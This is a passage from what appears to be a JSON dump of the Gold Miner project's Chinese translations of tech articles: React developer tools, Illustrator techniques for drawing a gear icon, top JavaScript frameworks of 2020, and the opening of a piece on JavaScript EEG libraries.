独立运行组件的单元测试）和从源代码本身解析的文档。\n\n使用 Bit，你可以更快地开发多个应用程序和进行团队协作，并将你的组件用作新功能和项目的构建块。\n\n### 2. [StoryBook](https://storybook.js.org/) / [Styleguidist](https://react-styleguidist.js.org/)\n\nStorybook 和 Styleguidist 是在 React 中快速开发 UI 的环境。两者都是加速 React 应用程序开发的绝佳工具。 \n\n两者之间存在一些重要的差异，这些差异也可以组合在一起以完成你的组件开发系统。\n\n使用 Storybook，你可以在 JavaScript 文件中编写 **stories**。使用 Styleguidist，你可以在 Markdown 文件中编写**示例**。Storybook 一次显示一个组件的变化，而 Styleguidist 可以显示不同组件的多种变化。Storybook 非常适合显示组件的状态，而 Styleguidist 对于不同组件的文档和演示非常有用。\n\n下面是一个简短的纲要。\n\n#### [StoryBook](https://storybook.js.org/)\n\n- [**storybooks/storybook**: storybook — Interactive UI component dev & test: React, React Native, Vue, Angular.](https://github.com/storybooks/storybook \"https://github.com/storybooks/storybook\")\n\n[Storybook](https://github.com/storybooks/storybook) 是 UI 组件的快速开发环境。\n\n它允许你浏览组件库，查看每个组件的不同状态，以及交互式开发和测试组件。\n\n![](https://cdn-images-1.medium.com/max/800/1*8T0opytn0oYuEMpd8PRTsw.gif)\n\nStoryBook 可帮助你独立于应用程序开发组件，这也有助于提高组件的可重用性和可测试性。\n\n你可以浏览库中的组件，修改其属性，并通过热加载在网页上获得组件的即时效果。可以在这里找到一些流行的[例子](https://storybook.js.org/examples/)。\n\n不同的插件可以帮助你更快地开发，从而缩短代码调整到视觉输出之间的周期。StoryBook 还支持 [React Native](https://facebook.github.io/react-native/) 和 [Vue.js](https://vuejs.org/)。\n\n#### [Styleguidist](https://react-styleguidist.js.org/)\n\n- [**React Styleguidist：具有在线样式指南的独立的 React 组件开发环境**：具有在线样式指南的独立的 React 组件开发环境。](https://react-styleguidist.js.org/ \"https://react-styleguidist.js.org/\")\n\nReact [Styleguidist](https://github.com/styleguidist/react-styleguidist) 是一个组件开发环境，它具有热重载的开发服务器和在线样式指南，列出组件的 `propTypes` 并显示基于 .md 文件的可编辑的用法示例。\n\n![](https://cdn-images-1.medium.com/max/800/1*9V2nSEgH1VUbmXd5Dq-hnA.gif)\n\n它支持ES6，Flow 和 TypeScript，并且可以使用开箱即用的 Create React App。自动生成的使用文档可以让 Styleguidist 充当团队不同组件的文档门户。\n\n* 另请查看由 Formidable Labs 提供的 [**React Live**](https://github.com/FormidableLabs/react-live)。这个组件渲染环境也用在了 [Bit 的实时组件 playground](https://bitsrc.io/bit/movie-app/components/hero) 上。\n\n### 3. [React devTools](https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi?hl=en)\n\n![](https://cdn-images-1.medium.com/max/800/1*9XrmfPqh_naIBlTi7dv3Hw.gif)\n\n这个官方的 React Chrome devTools [扩展程序](https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi?hl=en)可以让你在 Chrome 开发者工具里查看 React 组件的层次结构。它也可以作为 [FireFox 附加组件](https://addons.mozilla.org/en-US/firefox/addon/react-devtools/)使用。\n\n使用 React devTools，你可以在操作组件树时查看并编辑组件的 props 和 state。此功能可以让你了解组件更改如何影响其他组件，以帮助你使用正确的组件结构和分离方式来设计 UI。\n\n这个扩展程序的搜索栏可让你快速查找和检查所需的组件，从而节省宝贵的开发时间。\n\n![](https://cdn-images-1.medium.com/max/800/1*GAPOIeQHhPFS5D0ccHHy7w.gif)\n\n查看适用于 Safari，IE 和 React Native 的[独立应用程序](https://github.com/facebook/react-devtools/tree/master/packages/react-devtools)。\n\n### 4. [Redux devTools](http://extension.remotedev.io/)\n\n![](https://cdn-images-1.medium.com/max/800/1*RESAzFvlkgBlU4IgRGQjaA.gif)\n\n此 [Chrome 扩展程序](https://github.com/zalmoxisus/redux-devtools-extension)（和 [FireFox 附加组件](https://addons.mozilla.org/en-US/firefox/addon/remotedev/)）是一个开发时间程序包，是 Redux 开发工作流程的利器。它允许你检查每个 state 和 action payload，重新计算“分阶段”的 actions。\n\n你可以将 [Redux DevTools 扩展程序 ](https://github.com/zalmoxisus/redux-devtools-extension)与任何处理状态的体系结构集成。每个 React 组件的本地状态可以有多个存储或不同的实例。你甚至可以通过“时间旅行”来取消 actions（可以观看 [Dan Abramov 的](https://medium.com/@dan_abramov) [视频](https://www.youtube.com/watch?v=xsSnOQynTHs)）。日志记录 UI 本身甚至可以自定义为 React 组件。\n\n### 5. Boilerplates & Kick-Starters\n\n虽然这些并不完全是开发者工具，但它们有助于快速创建 React 应用程序，同时节省构建和其他配置的时间。虽然 React 有许多[入门套件](https://reactjs.org/community/starter-kits.html)，但这里有一些最好的。\n\n当与预制组件（在 [Bit](https://bitsrc.io) 或其他来源上）结合使用时，你可以快速创建应用程序结构并将组件组合到其中。\n\n#### [Create React App](https://github.com/facebook/create-react-app) (50k stars)\n\n![](https://cdn-images-1.medium.com/max/800/1*2aquNYnmp7YHa2TeefS9Ew.gif)\n\n这个广泛使用且受欢迎的项目可能是快速创建新 React 应用程序并从头开始运行的最有效方法。\n\n此软件包封装了新 React 应用程序所需的复杂配置（Babel，Webpack等），因此你可以节省新建应用程序所需的这段时间。\n\n要创建新应用程序，只需运行一个命令即可。\n\n```\nnpx create-react-app my-app\n```\n\n此命令在当前文件夹中创建名为 `my-app` 的目录。\n在目录中，它将生成初始项目结构并安装传递依赖项，然后你就可以简单地开始编码了。\n\n#### [React Boilerplate](https://github.com/react-boilerplate/react-boilerplate) (18k stars)\n\n[Max Stoiber](https://medium.com/@mxstbr) 的这个 React 样板文件模板为你的 React 应用程序提供了一个启动模板，该模板专注于离线开发，并在考虑到了可扩展性和性能。\n\n它的快速脚手架有助于直接从 CLI 创建组件、容器、路由、选择器和 sagas —— 以及它们的测试，而 CSS 和 JS 的更改可以立即反映出来。\n\n与 create-react-app 不同，这个样板文件不是为初学者设计的，而是为经验丰富的开发人员提供的。使用它可以管理性能、异步、样式等等，从而构建产品级的应用程序。\n\n#### [React Slingshot](https://github.com/coryhouse/react-slingshot) (8.5k stars)\n\n[Cory House](https://medium.com/@housecor) 的这个极好的项目是 React + Redux 入门套件/样板，带有Babel、热重载、测试和 linting 等等。\n\n与 React Boilerplate 非常相似，这个入门套件专注于快速开发的开发人员体验。每次点击“保存”时，更改都会热重载，并且会运行自动化测试。\n\n该项目甚至包括一个示例应用，因此你无需阅读太多文档即可开始工作。\n\n* 另外也可以了解一下 [**simple-react-app**](https://github.com/Kornil/simple-react-app)，[这篇文章](https://medium.com/@francesco.agnoletto/i-didnt-like-create-react-app-so-i-created-my-own-boilerplate-190a7dd5d74)对此工具进行了解释。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/5-ways-to-create-a-settings-icon.md",
    "content": "> * 原文地址：[5 Ways to Create a Settings Icon](https://medium.com/@minoraxis/5-ways-to-create-a-settings-icon-fff8dc95e36d)\n> * 原文作者：[Helena Zhang](https://medium.com/@minoraxis)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/5-ways-to-create-a-settings-icon.md](https://github.com/xitu/gold-miner/blob/master/TODO1/5-ways-to-create-a-settings-icon.md)\n> * 译者：[Jessica](https://github.com/cyz980908)\n> * 校对者：[QinRoc](https://github.com/QinRoc)\n\n# 创建一个 Settings icon 的五种方法\n\n> 通过这篇文章我们可以学习如何使用 Illustrator 的一系列功能\n\n![](https://cdn-images-1.medium.com/max/4000/1*KXjeemJInI5xQg7HpC2Z9g.png)\n\n齿轮图标已经成为了**设置**符号的标配。\n\n![自左向右，从上到下分别是：Google Calendar、Lyft、Dribbble、Facebook、ClassPass、Seamless、Telegram、Reddit、Duolingo、Dropbox、Instagram、Headspace、PayPal、Transit、WeChat](https://cdn-images-1.medium.com/max/4000/1*wu3FKUzPxQhjf4Wk_uCJIw.png)\n\n有许多有趣的方法可以实现这个图标。我们将学习使用 Adobe Illustrator 实现的 5 个方法，同时还可以学习到适用于任何矢量绘图的技术。\n\n（**键盘快捷键**备注在括号中。）\n\n## 方法 1：圆角星\n\n这种简单的方法能很方便地生成带有尖齿的齿轮。\n\n![](https://cdn-images-1.medium.com/max/3200/1*nUCNYG_c9hNEnMm66rd2zQ.gif)\n\n选择**星型工具**，然后**点击**画布上的任意地方。\n\n![](https://cdn-images-1.medium.com/max/4002/1*qR6U11bjhUffWP7yLvFf9Q.png)\n\n填入参数。\n\n![](https://cdn-images-1.medium.com/max/4000/1*gQtrRMFzcjAEudBS1SdQnw.png)\n\n用**直接选择工具**（**A**）选中圆角，将鼠标悬停在图标上。**拖动**其中的一个小圆形手柄来修改所有的圆角。**双击**手柄可以来定精确的角半径。\n\n![](https://cdn-images-1.medium.com/max/4000/1*KgDXl0u5M1WbrAn5MHPWzQ.png)\n\n用**椭圆工具**（**L**）画一个小一些的同心圆来创建中间的小洞。\n\n![](https://cdn-images-1.medium.com/max/4000/1*tmhumNqUD265crJuT7wsCQ.png)\n\n你可以绘制任意大小的圆圈，或者在画布上的任意位置按**L** + **单击**以指定确切的宽度和高度。\n\n![](https://cdn-images-1.medium.com/max/4000/1*o4LZ-p6BMnXDuuHoth-4sw.png)\n\n可以在“**变换（Transform）**”面板对尺寸进行调整。\n\n![](https://cdn-images-1.medium.com/max/4000/1*taP3_LzZS0jakCB8K2Cg3w.png)\n\n在选中两个图案后，通过从圆角星上减去较小的圆来清理图标（**路径查找器（Pathfinder）** 面板 > **减去前面的图案（Minus Front）**)。\n\n![](https://cdn-images-1.medium.com/max/4000/1*OXarwXairILpFXYEXZ-6IA.png)\n\n瞧！完成了！\n\n![](https://cdn-images-1.medium.com/max/4000/1*tmhumNqUD265crJuT7wsCQ.png)\n\n## 方法 2：锯齿形\n\n让我们尝试一些不同的方法来达到类似的效果。\n\n![](https://cdn-images-1.medium.com/max/3200/1*2tdaBuJsgIuzQgoX2i7EpQ.gif)\n\n绘制一个有填充（fill），没描边（stroke）的圆（**L**）。\n\n![](https://cdn-images-1.medium.com/max/4000/1*0SnYSS0olXodPNhr4LjCPQ.png)\n\n选择圆并应用**锯齿形效果**（**特效（Effect）** > **扭曲 & 变形（Distort & Transform）** > **锯齿形（Zig Zag）**）。\n\n![](https://cdn-images-1.medium.com/max/4000/1*iHGSBfduKeAKL8BB8ScORw.png)\n\n在预览选项打开的情况下设置参数。\n\n![](https://cdn-images-1.medium.com/max/4000/1*IpiYKyL7OyyznM4QcVfCwQ.png)\n\n现在我们要试着画一个小一些的同心圆来创建中间的小洞。\n\n![](https://cdn-images-1.medium.com/max/4000/1*Dvsus1_nX3QpU7E3Db8Akg.png)\n\n选择这两个形状。因为我们已经使用了一些特效，所以在合并形状之前必须扩充外观。点击**对象（Object）** > **扩展外观（Expand Appearance）**。\n\n**为什么要这样做？因为特效是可回退的、不会被破坏的，这意味着你可以随时返回并更改参数。因此，在对图形执行进一步的操作之前，需要对特效进行扩展。**\n\n![](https://cdn-images-1.medium.com/max/4000/1*TpvBycrleLcrPgQhobWR2g.png)\n\n与方法 1 类似，我们将通过从较大的形状中减去较小的圆来得到图标（**路径查找器（Pathfinder）** 面板 > **减去前面（Minus Front）**）。\n\n![](https://cdn-images-1.medium.com/max/4000/1*Dvsus1_nX3QpU7E3Db8Akg.png)\n\n## 方法 3：加法和旋转\n\n这是一个相对来说更复杂的方法，它允许我们对齿轮进行更多的定制。这次我们要看得更仔细一些。\n\n![](https://cdn-images-1.medium.com/max/3200/1*GzTAZ69HhqNh9bRO_iaifQ.gif)\n\n绘制一个有填充（fill），没描边（stroke）的圆。\n\n![](https://cdn-images-1.medium.com/max/4000/1*JYSKqVx1RvG33CGiDOKtbg.png)\n\n使用在顶部的**矩形工具**（**M**），以圆心为中心绘制一个矩形。\n\n![](https://cdn-images-1.medium.com/max/4000/1*WZZJpZZOQakA5P9-tmCWhw.png)\n\n“凸出”矩形。有很多方法可以做到这一点。你可以选择矩形并使用**凸出特效（Bulge Effect）** (**特效（Effect）** > **变形（Warp）** > **凸出（Bulge）**)。\n\n![](https://cdn-images-1.medium.com/max/4000/1*BrNsh1yHIYKrDaMqbYD4iQ.png)\n\n但我的首选方法是添加锚点，并使用**直接选择工具（Direct Selection Tool）**（**A**）来选择要操作的特定锚点。\n\n![](https://cdn-images-1.medium.com/max/4000/1*B1LwQLNXeZwpBAS6qSiE5w.png)\n\n若要添加与当前锚点距离相等的其他锚点，请选择一个对象并使用**对象（Object）** > **路径（Path）** > **添加锚点（Add Anchor Points）**。你也可以使用**钢笔工具**（**P**）手动添加点。\n\n![](https://cdn-images-1.medium.com/max/4000/1*8ipZwTSEe0OYrNY1Ux21zA.png)\n\n选定形状后，按**R**键选择**旋转工具（Rotate Tool）**，然后按**option**键 + **单击**圆心将其设置为参考点。**旋转**面板就会出现。\n\n![](https://cdn-images-1.medium.com/max/4000/1*ogbTsoIyKr2kYnQjKBe71g.png)\n\n选择一个角度。45° 角会创造出有 8 个齿的齿轮（360° 除以 8 等于 45°)。\n\n接下来有趣的事情发生了。\n\n点击 **复制（Copy）** (**注意不是点击** **OK**)。这将会按照你设定的角度和参考点复制你的图案。\n\n![](https://cdn-images-1.medium.com/max/4000/1*CaoipHnbmfFitWDLsSlO_A.png)\n\n通过按 **Command** + **D**（macOS）或 **Ctrl** + **D**（Windows）的重复操作，这样做两次后，就可以完成这个圆。\n\n![](https://cdn-images-1.medium.com/max/4000/1*4IyH9hCk6usy8IAmJhuTSA.png)\n\n或者，你可以使用**变换特效**（**特效（Effect）** > **扭曲 & 变形（Distort & Transform）** > **变换（Transform）** 来实现同样的旋转拷贝。\n\n![](https://cdn-images-1.medium.com/max/4000/1*8JoVfMIcd7fUc4A72VS1PQ.png)\n\n刚刚我们说到，特效（Effect）是不会被破坏的，所以每当你用了一个特效图案，你就可以在**属性**面板中编辑它。\n\n![](https://cdn-images-1.medium.com/max/4000/1*kfB214QfGr1BEvDu6Pg5vQ.png)\n\n接着我们给图案添加内圆。\n\n点击**路径查找器（Pathfinder）**面板组合 > 合并**（Unite）**，来将所有图形合并。\n\n![](https://cdn-images-1.medium.com/max/4000/1*BJVbsvvgcKtWpKjAH3AEmw.png)\n\n画一个小一点的同心圆。\n\n![](https://cdn-images-1.medium.com/max/4000/1*Vo4vsPYqBJVfb-IinHiwFw.png)\n\n点击 **路径查找器（Pathfinder）** 面板 > **减去前面的图案（Minus Front）** 来从较大的形状中减去中心较小的圆。\n\n不断尝试！不同的源图形会产生不同的齿轮结果。\n\n![](https://cdn-images-1.medium.com/max/4000/1*ZBAsEntImNjJ4m_GuoMlbw.png)\n\n## 方法 4：减法和旋转\n\n方法 4 与方法 3 类似。\n\n![](https://cdn-images-1.medium.com/max/3200/1*cujGoMTZXBrhMfm4WoLMaA.gif)\n\n绘制一个有填充（fill），没描边（stroke）的圆。\n\n![](https://cdn-images-1.medium.com/max/4000/1*wpX-ymZRcOULMhAEcltU6A.png)\n\n画一个与顶部对齐的小圆。\n\n![](https://cdn-images-1.medium.com/max/4000/1*Gd3D7WDFPhMBAjY6R4il5Q.png)\n\n选择这个小圆，按 **R** 键进行**旋转**，接着按下 **option** 并同时**点击**圆心。这次我们尝试一下 6 颗齿（360°/ 6）的齿轮。如果直接输入 “360/6”，则 Illustrator 将会自动为你计算。\n\n![](https://cdn-images-1.medium.com/max/4000/1*vRGHB4sIUoU43OuFBOv1ZQ.png)\n\n点击复制（**Copy**）。\n\n![](https://cdn-images-1.medium.com/max/4000/1*xkpTHE3W9Y4JcYZ_aV1fyg.png)\n\n通过按 **Command** + **D**（macOS）或 **Ctrl** + **D**（Windows）4 次重复该操作。 \n\n![](https://cdn-images-1.medium.com/max/4000/1*hGWMbewTlFDoxs_B--RICw.png)\n\n使用**路径查找器（Pathfinder）** 面板 > **减去前面的图案（Minus Front）**，从大的圆中减去小的圆。\n\n接着我们给拐角加一些圆角。使用**直接选择工具（Direct Selection Tool）**（**A**），拖动小圆点来调整圆角的半径。\n\n![](https://cdn-images-1.medium.com/max/4000/1*ZmT0d39tbi01GCVK9lV1Gg.png)\n\n画一个小一些的同心圆来创建中间的小洞，从较大的图形中减去中心的小圆。\n\n![](https://cdn-images-1.medium.com/max/4000/1*Gtie3FaqFE4zPLpSUZLyiA.png)\n\n可以尝试更多的创意（尝试不同的形状）：\n\n![](https://cdn-images-1.medium.com/max/4000/1*KThz-U48zcTbttXMSAqE8Q.png)\n\n## 方法 5：交叉贯穿\n\n最后一种方法又会用到**星型工具（Star Tool）**。\n\n![](https://cdn-images-1.medium.com/max/3200/1*06OYxdrlLjWHY1_7szWRSQ.gif)\n\n画一个星形。\n\n![](https://cdn-images-1.medium.com/max/4000/1*ptztuAZB-wBoq9DjIpnHtg.png)\n\n在上面画一个同心圆。\n\n![](https://cdn-images-1.medium.com/max/4000/1*Zqu7DDvt0TVfV2rmlYqJLQ.png)\n\n选择这两个图形。**路径查找器（Pathfinder）** 面板 > **相交（Intersect）**。 \n\n![](https://cdn-images-1.medium.com/max/4000/1*GvWwEYCuXHmZ7lzpp0nZnQ.png)\n\n再如下图所示，在上面画一个同心圆：\n\n![](https://cdn-images-1.medium.com/max/4000/1*NclTXoSkV7L1ESDlALrGAg.png)\n\n**路径查找器（Pathfinder）** 面板 > **联合（Unite）**。 现在我们得到一个齿轮的轮廓啦。\n\n![](https://cdn-images-1.medium.com/max/4000/1*9kHuhbQmdzgV6HPRi07jAA.png)\n\n接下来怎么做你应该都已经知道了吧 —— 绘制第三个同心圆，然后从较大的形状中减去较小的圆。\n\n![](https://cdn-images-1.medium.com/max/4000/1*5f7m7XfibpX337PGdK2k4A.png)\n\n用此方法还可以创造出更多花样：\n\n![](https://cdn-images-1.medium.com/max/4000/1*Sg4yaJDl5jo2CDaNe5BMUw.png)\n\n## 尝试找到自己的方法\n\n希望你能从这个教程中学到一两招。虽然 Illustrator 绘图更精密一些，但文中类似的方法也可以应用于一些 UI 制作的矢量软件中，如 Sketch 或 Figma。\n\n从这里，探索些不同的图标风格。\n\n![](https://cdn-images-1.medium.com/max/4000/1*L3xu6HufPN2eJMFwNwWQMQ.png)\n\n## 彩蛋\n\n更多给你带来灵感的创意。\n\n#### 2 个正方形 = 1 个星\n\n你可以通过画两个正方形来创建一个八角星。按下 **Shift** 键的同时，拖动 **矩形工具（M）** 创建一个正方形，选中这个正方形，按下 **Shift** 键的同时，**拖动旋转工具（R）** 来旋转 45°。\n\n![](https://cdn-images-1.medium.com/max/4000/1*4KOU3XYdLAiaWe33ipWsNg.png)\n\n#### 环形圆角\n\n在以前，我可能会通过添加笔触（stroke）来完成圆角，现在看来但这实在是一个复杂又不精确的方法。（真是令人尴尬）\n\n![](https://cdn-images-1.medium.com/max/4000/1*l11n93ZXg-wrMYtKyeh-nQ.png)\n\n#### 涂鸦的造型\n\n如果你使用的是平板电脑或者是触控板，你可以使用古怪的 **Shaper 工具**（**Shift** + **N**）来对图形进行不会被破坏的组合或删减。就像下面这样乱涂乱画来“删除”想要的区域。最后原始的图形会被保留下来。\n\n![](https://cdn-images-1.medium.com/max/4000/1*O-W5KyVHqmUgO4TWnvO0nA.png)\n\n---\n\n🎶 **文章的音频版：[Mogwai](https://open.spotify.com/artist/34UhPkLbtFKRq3nmfFgejG?si=QsV-S2PuTlKKJTzlRF1uDw)**\n\n🙏 **感谢：Toby Fried、Tate Chow、Christine Lee、Pawel Piekarski、Monica Chang**\n\n---\n\n更多关于图像设计的文章:\n\n* [关于 icon 设计的 7 个准则](https://medium.com/@minoraxis/7-principles-of-icon-design-e7187539e4a2) （[译文连接](https://juejin.im/post/5e5dbd3e6fb9a07cd323dd2b)）\n* icon 网格 & 关键线大揭秘 **（即将推出）**\n* icon 设计中的像素捕捉：捕捉或不捕捉 **（即将推出）**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/6-best-javascript-frameworks-in-2020.md",
    "content": "> * 原文地址：[The Top 6 JavaScript frameworks for 2020](https://medium.com/javascript-in-plain-english/6-best-javascript-frameworks-in-2020-102babf80196)\n> * 原文作者：[Naina Chaturvedi](https://medium.com/@Naina04)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/6-best-javascript-frameworks-in-2020.md](https://github.com/xitu/gold-miner/blob/master/TODO1/6-best-javascript-frameworks-in-2020.md)\n> * 译者：[Roc](https://github.com/QinRoc)\n> * 校对者：[钱俊颖](https://github.com/Baddyo), [niayyy](https://github.com/niayyy-S)\n\n# 2020 年排名前 6 位的 JavaScript 框架\n\n![In the Javascript world (Image source and credits: JS tips)](https://cdn-images-1.medium.com/max/3200/0*0bpy35Lc6rAdvivL.gif)\n\n## 1.Vue.js\n\n![Vue.js (Image source and credits: Vue.js website)](https://cdn-images-1.medium.com/max/2430/0*Yk9b_HN-r7SCgzPD.png)\n\nVue.js 是一个开源框架。它在 Angular 和 React 的基础上发展而来。Vue.js 提供了很多有用的特性，对于很多跨平台应用程序而言，它是一个简单而有效的解决方案。使用 Vue.js 开发的顶尖网站有：\n\n[**Behance**](https://www.behance.net/)\n\n**访问者数量：4929 万**\n\n![Behance](https://cdn-images-1.medium.com/max/2698/0*kFWAmDIqI1JjI5dN.png)\n\nBehance —— 平面设计师通过这个网站向全世界展示他们的才华。Behance 的开发团队使用 Vue.js 作为前端编程语言。\n\n#### Gitlab\n\n**访问者数量：2211 万**\n\n![GitLab](https://cdn-images-1.medium.com/max/2698/0*5kyzA3WuoeSaoFgB.png)\n\nGitlab 是一个基于 web 的源码版本控制库，它有多个会员选项。它的前端是用 Vue 开发的。\n\n****从这里开始了解 Vue.js**：**\n\n[https://vuejs.org/v2/guide/](https://vuejs.org/v2/guide/)\n\n## 2. Aurelia\n\nAurelia 是一个 JavaScript 前端框架。它是 ——\n\n1. 最简洁的现代框架之一\n2. 下一代框架，因为它能创建强大、简洁又完美的网站。\n\n![Aurelia (Image source : Internet)](https://cdn-images-1.medium.com/max/2000/0*SCuBUePVIJKX3QcM.jpg)\n\n**从这里开始了解 Aurelia：**\n\n[**https://aurelia.io/docs/tutorials/creating-a-todo-app**](https://aurelia.io/docs/tutorials/creating-a-todo-app)\n\n[**Aurelia Projects**](https://github.com/aurelia-project)\n\n## 3. Next.js\n\nNext.js 是一个基于 JavaScript 的开源框架。它 ——\n\n1. 为开发高度可定制的 Web 应用程序而生。\n2. 是 React 应用的零配置、单命令工具链。\n\n![Next.js (Image source and credits: Next.js website)](https://cdn-images-1.medium.com/max/2800/0*Xs8fycEdNqhhQ9jZ.jpg)\n\n**它的部分最佳特性如下：**\n\n1. 自动化代码切分，基于文件系统的路由，代码热重载，全局渲染\n\n**从这里开始了解 Next.js：**\n\n[**学习 Next.js**](https://nextjs.org/learn/basics/getting-started)\n\n## 4. Riot.js\n\nRiot.js 专注于为用户提供具有 JavaScript 生态中最高效简洁架构的框架。它与 polymer 和 react.js 类似。\n\n![Riot.js (Image source and credits: Riot.js website)](https://cdn-images-1.medium.com/max/2000/0*ioaCESwyj2JbpW_m.jpg)\n\n它的部分特性如下：\n\n1. 允许用户在所有页面和 Web 应用程序中应用自定义 HTML 标签。用户可以重用这些标签。\n2. 高度专注于微函数，让用户可以一次分别处理不同的应用程序。\n\n从这里开始了解 Riot.js：\n[**Riot.js 文档**](https://riot.js.org/documentation/)\n\n## 5. WebRx\n>译者注： WebRx 已停止维护。\n\nWebRx 是一个基于浏览器的 model-view-view-model 架构模式的 JavaScript 框架。它带来了 ——\n\n1. 响应式编程和函数式编程并存的特性。\n2. 美观而强大的 UI 环境。\n\n![WebRx (Image source and credits: WebRx website)](https://cdn-images-1.medium.com/max/2048/0*h6Cc_Hm7i0begHhE.png)\n\n它的部分最佳特性如下：\n\n1. 一个高效的收集进程，包括过滤映射、分页等功能。\n2. 由不同消息总线支持的强大的组件间通信方式。\n\n 从这里开始了解 WebRx：\n\n[https://github.com/WebRxJS/WebRx](https://github.com/WebRxJS/WebRx)\n\n**最后但最有前途的是（这个位置总是会引战）……**\n\n## 6. Angular\n\nAngular 是一个成熟的框架，不像 React 那样灵活。它内置了所有东西。它 ——\n\n1. 是一个强大的 JavaScript 框架，能够无缝地组织你的项目。\n2. 具有惊人的速度和多功能性。\n\n 从这里开始了解 Angular：\n\n[https://github.com/angular/angular](https://github.com/angular/angular)\n\n>译者注：本文是原文作者的一家之言。原文评论区提到的其他框架有 React.js、Svelte、Preact、Nuxt.js、Ember 和 Mithril 等。\n其他可参考资料有 [BestOfJS](https://bestofjs.org/)、[StateOfJS](https://stateofjs.com/) 、[掘金上对 StateofJS 的 2019 年调查结果的说明文章](https://juejin.im/post/5e071b676fb9a016391d5bb8)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/7-javascript-eeg-mind-reading-libraries-for-2018.md",
    "content": "> * 原文地址：[7 Javascript EEG Mind Reading Libraries for 2018](https://blog.bitsrc.io/7-javascript-eeg-mind-reading-libraries-for-2018-9a8e28544cd7)\n> * 原文作者：[Gilad Shoham](https://blog.bitsrc.io/@giladshoham?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/7-javascript-eeg-mind-reading-libraries-for-2018.md](https://github.com/xitu/gold-miner/blob/master/TODO1/7-javascript-eeg-mind-reading-libraries-for-2018.md)\n> * 译者：[geniusq1981](https://github.com/geniusq1981)\n> * 校对者：[Park-ma](https://github.com/Park-ma)、[huangyuanzhen](https://github.com/huangyuanzhen)\n\n# 2018 年七个通过脑电图分析实现“读心术”的 Javascript 库\n\n## 用于探索人脑信号以实现读心的 JavaScript 库。\n\n![](https://cdn-images-1.medium.com/max/1600/1*TOFxZJnsy9DPK3a3ZES05w.jpeg)\n\n“这个头戴装置是不是很酷？”\n\n脑电图是一种检测人脑中生物电活动的方法。它可以用来检测人体状态，比如癫痫或者脑瘤，以此来研究脑活动与认知方面的联系，或者用来学习人脑是如何对外部刺激产生反应，比如音乐或影像。\n\n尽管相比其他方法，此方法还不够成熟，但是在一些方面它的用途还是很大的 — 可以通过外部设备将大脑活动转化成行为（比如装备激光武器的机器人军队）。\n\n在脑电图信号的开发领域（由类似 [openBCI](http://openbci.com/) 这样的项目所引领），MathLab、python 和 R 都是十分 [流行的语言](https://www.researchgate.net/post/What_is_the_best_open_source_software_to_analyse_EEG_signals2)。但是就像其他领域，比如 [IOT](https://blog.bitsrc.io/10-javascript-iot-libraries-to-use-in-your-next-projects-bef5f9136f83)、[ML](https://blog.bitsrc.io/11-javascript-machine-learning-libraries-to-use-in-your-app-c49772cca46c) 和其他一些研究领域那样，Javascript 